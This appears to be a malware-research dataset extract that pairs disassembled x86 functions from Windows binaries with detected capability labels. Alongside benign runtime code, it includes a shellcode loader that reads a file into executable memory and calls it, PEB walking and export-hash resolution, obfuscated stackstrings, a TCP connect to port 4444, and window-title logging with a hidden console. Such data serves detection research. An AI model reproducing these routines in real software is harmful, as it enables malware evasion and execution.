joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004f3c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
call fcn.1004f330
mov eax, dword [0x1008c250]
cmp eax, 0xffffffff
jne 0x1004f3dc
call fcn.1004f330
mov eax, dword [0x1008c250]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
push eax
call esi
test eax, eax
jne 0x1004f434
mov esi, dword [ebp + 8]
mov eax, dword [0x1008c250]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
push eax
call edi
test al, al
je 0x1004f417
mov eax, dword [esi]
mov ecx, dword [0x1008c254]
inc eax
push eax
push ecx
call edi
test al, al
je 0x1004f417
mov al, 1
jmp 0x1004f419
xor al, al
mov bl, 1
pop edi
test al, al
jne 0x1004f471
push 0x271
push str.d:_build_ob_bora_4448491_bora_lib_misc_vthreadBase.c
push str.VERIFY__s:_d_n
call sym.vmtools.dll_Panic
mov eax, dword [0x1008c250]
xor bl, bl
cmp eax, 0xffffffff
jne 0x1004f44a
call fcn.1004f330
mov eax, dword [0x1008c250]
push eax
call esi
mov ecx, dword [ebp + 8]
lea edx, [ecx + 4]
mov ecx, dword [ecx]
push edx
push ecx
lea edx, [eax + 4]
mov eax, dword [eax]
push edx
push eax
push str.VThreadBase_reinitialization__old:__d__s__new:__d__s._n
call fcn.10003450
add esp, 0x14
pop esi
mov al, bl
pop ebx
pop ebp
ret
mov eax, 0x1008c25c
mov ecx, 1
lock xadd dword [eax], ecx
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x1004f6a0
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x1008c250]
cmp eax, 0xffffffff
jne 0x1004f6b4
call fcn.1004f330
mov eax, dword [0x1008c250]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x1004f6e6
cmp dword [0x1008f7fc], eax
jne 0x1004f6ea
mov eax, 0x1008f7fc
mov ecx, 1
lock xadd dword [eax], ecx
call fcn.1004f5c0
mov edx, 0x1008f7fc
or ecx, 0xffffffff
lock xadd dword [edx], ecx
add eax, 4
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str.host__Iu
push 0x2f
push 0x1008f800
call dword [sym.imp.MSVCR90.dll__snprintf]
add esp, 0x10
mov eax, 0x1008f800
ret

Function at 0x10050160
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ecx
pop ebp
ret
Function at 0x100040b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
push esi
mov esi, dword [esp + 0x20]
test esi, esi
jne 0x100040c3
xor eax, eax
pop esi
add esp, 0x14
ret
push esi
call fcn.100057e0
add esp, 4
test eax, eax
jne 0x100040d5
pop esi
add esp, 0x14
ret
mov eax, dword [esi]
mov ecx, 1
push ebx
push ebp
cmp eax, ecx
push edi
mov dword [esp + 0x10], 0
jne 0x100041d6
mov eax, dword [esp + 0x28]
mov ebx, dword [esi + 4]
cmp eax, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x1c], ecx
jle 0x10004269
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edi, [esp + 0x38]
mov dword [esp + 0x20], edi
mov eax, dword [edi + 8]
mov dword [esp + 0x18], 0
cmp eax, 0x80000004
jne 0x1000412a
mov esi, dword [edi]
jmp 0x10004153
push edi
call fcn.10005640
mov esi, eax
add esp, 4
test esi, esi
jne 0x1000414b
push eax
lea eax, [esp + 0x18]
push eax
push 2
push 0x1001d98c
push ebx
call ebp
jmp 0x100041ae
mov dword [esp + 0x18], 1
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x1000418d
lea edx, [esp + 0x14]
push eax
push edx
push ecx
push esi
push ebx
call ebp
test eax, eax
je 0x10004185
lea eax, [esp + 0x14]
push 0
push eax
push 2
push 0x1001d98c
push ebx
call ebp
jmp 0x1000418d
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000419e
push esi
call fcn.100071d8
add esp, 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10004269
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
inc eax
add edi, 0xc
cmp eax, ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edi
jl 0x10004114
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x14
ret
cmp eax, 2
jne 0x10004269
mov eax, dword [esp + 0x28]
mov ebx, dword [esi + 4]
cmp eax, ecx
mov dword [esp + 0x10], ecx
jle 0x10004269
lea edi, [esp + 0x38]
dec eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], eax
mov eax, dword [edi + 8]
xor ebp, ebp
cmp eax, 0x80000004
jne 0x1000420b
mov esi, dword [edi]
jmp 0x1000421f
push edi
call fcn.10005640
mov esi, eax
add esp, 4
test esi, esi
je 0x10004257
mov ebp, 1
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x10004238
mov edx, dword [ebx]
push ecx
push esi
mov ecx, ebx
call dword [edx + 0x24]
mov eax, dword [ebx]
push 2
push 0x1001d98c
mov ecx, ebx
call dword [eax + 0x24]
test ebp, ebp
je 0x10004253
push esi
call fcn.100071d8
add esp, 4
mov edi, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
add edi, 0xc
dec eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], eax
jne 0x100041fb
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x14
ret
Function at 0x100062b0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x204
lea eax, [esp + 0x74]
push esi
push edi
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x10006337
mov eax, dword [esp + 0x210]
mov ecx, 0x19
mov esi, eax
lea edi, [esp + 0x18]
test eax, eax
rep movsd dword es:[edi], dword [esi]
jne 0x100062ef
lea ecx, [esp + 0x18]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
lea edx, [esp + 0x18]
push edx
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10006337
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call sub.WS2_32.dll_inet_ntoa
mov edi, dword [esp + 0x214]
mov ecx, 5
mov esi, eax
rep movsd dword es:[edi], dword [esi]
call sub.WS2_32.dll_WSACleanup
pop edi
pop esi
add esp, 0x204
ret 8
Function at 0x67b31a97
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
je 0x67b31afa
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push dword [eax + 0x30]
call fcn.67b31a52
pop ecx
imul eax, eax, 3
cmp dword [ebp + 8], eax
jne 0x67b31af0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
jmp 0x67b31afc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x67b31ac6
xor eax, eax
leave
ret

Function at 0x67b31b6e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*8 + 0x78]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x18], ecx
and dword [ebp - 4], 0
jmp 0x67b31bc1
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x18]
jae 0x67b31c06
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x14], edx
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.67b31b21
pop ecx
pop ecx
cmp eax, dword [ebp + 0xc]
jne 0x67b31c04
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x67b31c08
jmp 0x67b31bba
xor eax, eax
leave
ret
Function at 0x401000
Capabilities:
Get disk information

Disassembly:
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov bl, 0x43
mov cl, bl
mov edx, 1
sub ecx, 0x41
shl edx, cl
test eax, edx
je 0x401024
inc bl
cmp bl, 0x5a
jle 0x401009
xor eax, eax
pop ebx
ret
push esi
push 3
call fcn.004014d2
mov esi, eax
xor eax, eax
movsx edx, bl
mov ecx, esi
push edx
push 0x406030
push esi
mov word [ecx], ax
mov byte [ecx + 2], al
call fcn.00401480
add esp, 0x10
mov eax, esi
pop esi
pop ebx
ret

Function at 0x401050
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x110
mov eax, dword [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x18]
push 0x406034
push ecx
call fcn.00401480
add esp, 0xc
lea edx, [esp + 0x14]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 4]
push 0
push eax
lea ecx, [esp + 0x10]
push 0xc
push ecx
push 0
push 0
push 0x2d1080
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
pop esi
add esp, 0x110
ret

Function at 0x4012e0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x228
push ebx
push ebp
push esi
lea eax, [esp + 0x34]
push edi
push eax
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 4
call fcn.004014d2
add esp, 4
mov ebp, eax
xor ebx, ebx
xor ecx, ecx
mov dword [ebp], ebx
mov dword [esp + 0x10], ecx
mov al, byte [esp + ecx + 0x38]
cmp al, 0x41
je 0x4013d1
cmp al, 0x42
je 0x4013d1
cmp al, bl
je 0x4013e4
movsx ecx, al
push ecx
push 0x406030
push ebp
call fcn.00401480
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x28]
push ebp
lea edx, [esp + 0x148]
mov dword [esp + 0x28], ebx
push 0x406034
push edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x2c], ebx
call fcn.00401480
add esp, 0x18
lea eax, [esp + 0x138]
push ebx
push ebx
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4013cd
lea ecx, [esp + 0x14]
push ebx
push ecx
lea edx, [esp + 0x20]
push 0x20
push edx
push ebx
push ebx
push 0x74004
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x2c]
cmp ecx, eax
jne 0x4013cd
push ebp
call fcn.00401050
mov ecx, dword [esp + 0x240]
add esp, 4
cmp eax, ecx
je 0x4013f1
mov ecx, dword [esp + 0x10]
add ecx, 4
cmp ecx, 0x100
mov dword [esp + 0x10], ecx
jl 0x401311
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x228
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x228
ret
Function at 0x403359
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x406128
cmp edx, dword [eax]
je 0x40337b
add eax, 8
inc ecx
cmp eax, 0x4061b8
jl 0x40336c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x406128]
jne 0x4034a9
mov eax, dword [0x4068f8]
cmp eax, 1
je 0x403483
test eax, eax
jne 0x4033ac
cmp dword [0x406074], 1
je 0x403483
cmp edx, 0xfc
je 0x4034a9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4033e3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404160
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403820
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403426
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403820
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x405414
push edi
call fcn.00404610
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404160
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404170
lea eax, [ebp - 0xa0]
push 0x4053f4
push eax
call fcn.00404170
push dword [esi + 0x40612c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404170
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404585
add esp, 0x2c
pop edi
jmp 0x4034a9
lea eax, [ebp + 8]
lea esi, [esi + 0x40612c]
push 0
push eax
push dword [esi]
call fcn.00403820
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406058], 1
mov dword [0x406054], 1
mov dword [0x406050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401777
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4017dc
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4017dc
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._jSxuYY
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401793
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4017e9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0xdc0
mov dword [ebp - 0xdaa], 0x4c5a624c
mov dword [ebp - 0xda6], 0x66425a72
mov dword [ebp - 0xda2], 0x527a514a
mov dword [ebp - 0xd9e], 0x79636c45
mov dword [ebp - 0xd9a], 0x4f59774d
mov dword [ebp - 0xd96], 0x467a6a4e
mov dword [ebp - 0xd92], 0x6477436c
mov dword [ebp - 0xd8e], 0x6778594a
mov dword [ebp - 0xd8a], 0x42706449
mov dword [ebp - 0xd86], 0x6e6f4777
mov dword [ebp - 0xd82], 0x72537241
mov dword [ebp - 0xd7e], 0x774c6462
mov dword [ebp - 0xd7a], 0x4465
lea eax, [ebp - 0xd76]
mov ecx, 0xd6a
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xdaa]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0xdc0
pop ebx
pop edi
pop ebp
ret
Function at 0x4018c8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401903
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._jSxuYY
mov dword [esp], str.10.0.2.15
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401928
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._jSxuYY
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401999
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._jSxuYY
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4011b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:inx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403779
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a31e
call fcn.00406a08
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x40386e
cmp byte [esi + 0x49], bl
je 0x40386e
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4037b1
xor al, al
jmp 0x403870
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00402e80
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x403811
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x403816
dec eax
je 0x40381a
dec eax
dec eax
je 0x40386a
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401eda
mov al, bl
pop edi
jmp 0x403870
mov edx, dword [ebp - 0x2c]
jmp 0x4037db
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x403826
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x40384c
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x403839
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00407476
add esp, 0x10
cmp edi, eax
jne 0x4037fe
cmp byte [esi + 0x49], 0
je 0x40386a
test edi, edi
jne 0x4037cd
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00402d04
jmp 0x4037cd
mov bl, 1
jmp 0x403800
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x403f9a
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a36c
call fcn.00406a08
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x403fb7
xor eax, eax
jmp 0x403fdf
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x403fef
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x403fef
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x40400f
mov ecx, esi
call fcn.004018da
cmp dword [esi + 0x44], edi
jne 0x404014
push dword [esi + 0x54]
push ebx
call fcn.0040258b
pop ecx
pop ecx
test al, al
jne 0x403fdc
or eax, 0xffffffff
jmp 0x403fde
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00402e80
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4040c7
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x4040e5
cmp eax, 1
jg 0x4040cf
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40407b
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x4040a1
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40408e
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00407476
add esp, 0x10
cmp edi, eax
jne 0x4040e5
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x4040fb
test edi, edi
jne 0x404033
cmp dword [ebp - 0x24], 0x20
jae 0x4040e5
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00402d04
jmp 0x404033
mov edx, dword [ebp - 0x34]
jmp 0x404045
cmp eax, 3
jne 0x4040e5
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.0040258b
pop ecx
pop ecx
test al, al
jne 0x4040fb
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401eda
mov eax, esi
jmp 0x403fde
mov esi, dword [ebp + 8]
jmp 0x4040e8
Function at 0x404bf8
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x404c2d
push 0x100
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push esi
push edi
push 0
call fcn.00406499
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], edx
call fcn.00406472
pop ecx
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov ecx, dword [esi + 0x10]
mov eax, 0x41b4a0
push eax
inc ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
add eax, 0x76c
mov edi, 0x422a28
push eax
mov ecx, edi
call fcn.004032aa
push eax
call fcn.0040303b
pop ecx
pop ecx
mov ecx, eax
call fcn.004032aa
push eax
call fcn.0040303b
pop ecx
pop ecx
mov ecx, eax
call fcn.004032aa
push dword [esi]
mov eax, 0x41b49c
push eax
push dword [esi + 4]
push eax
push dword [esi + 8]
push str._:_
push edi
call fcn.0040303b
pop ecx
pop ecx
mov ecx, eax
call fcn.004032aa
push eax
call fcn.0040303b
pop ecx
pop ecx
mov ecx, eax
call fcn.004032aa
push eax
call fcn.0040303b
pop ecx
pop ecx
mov ecx, eax
call fcn.004032aa
push eax
call fcn.00403f61
pop ecx
call fcn.00404ab0
call fcn.004011b4
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x4085e2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4219a0]
jne 0x4085ec
repz ret
jmp fcn.0040fc36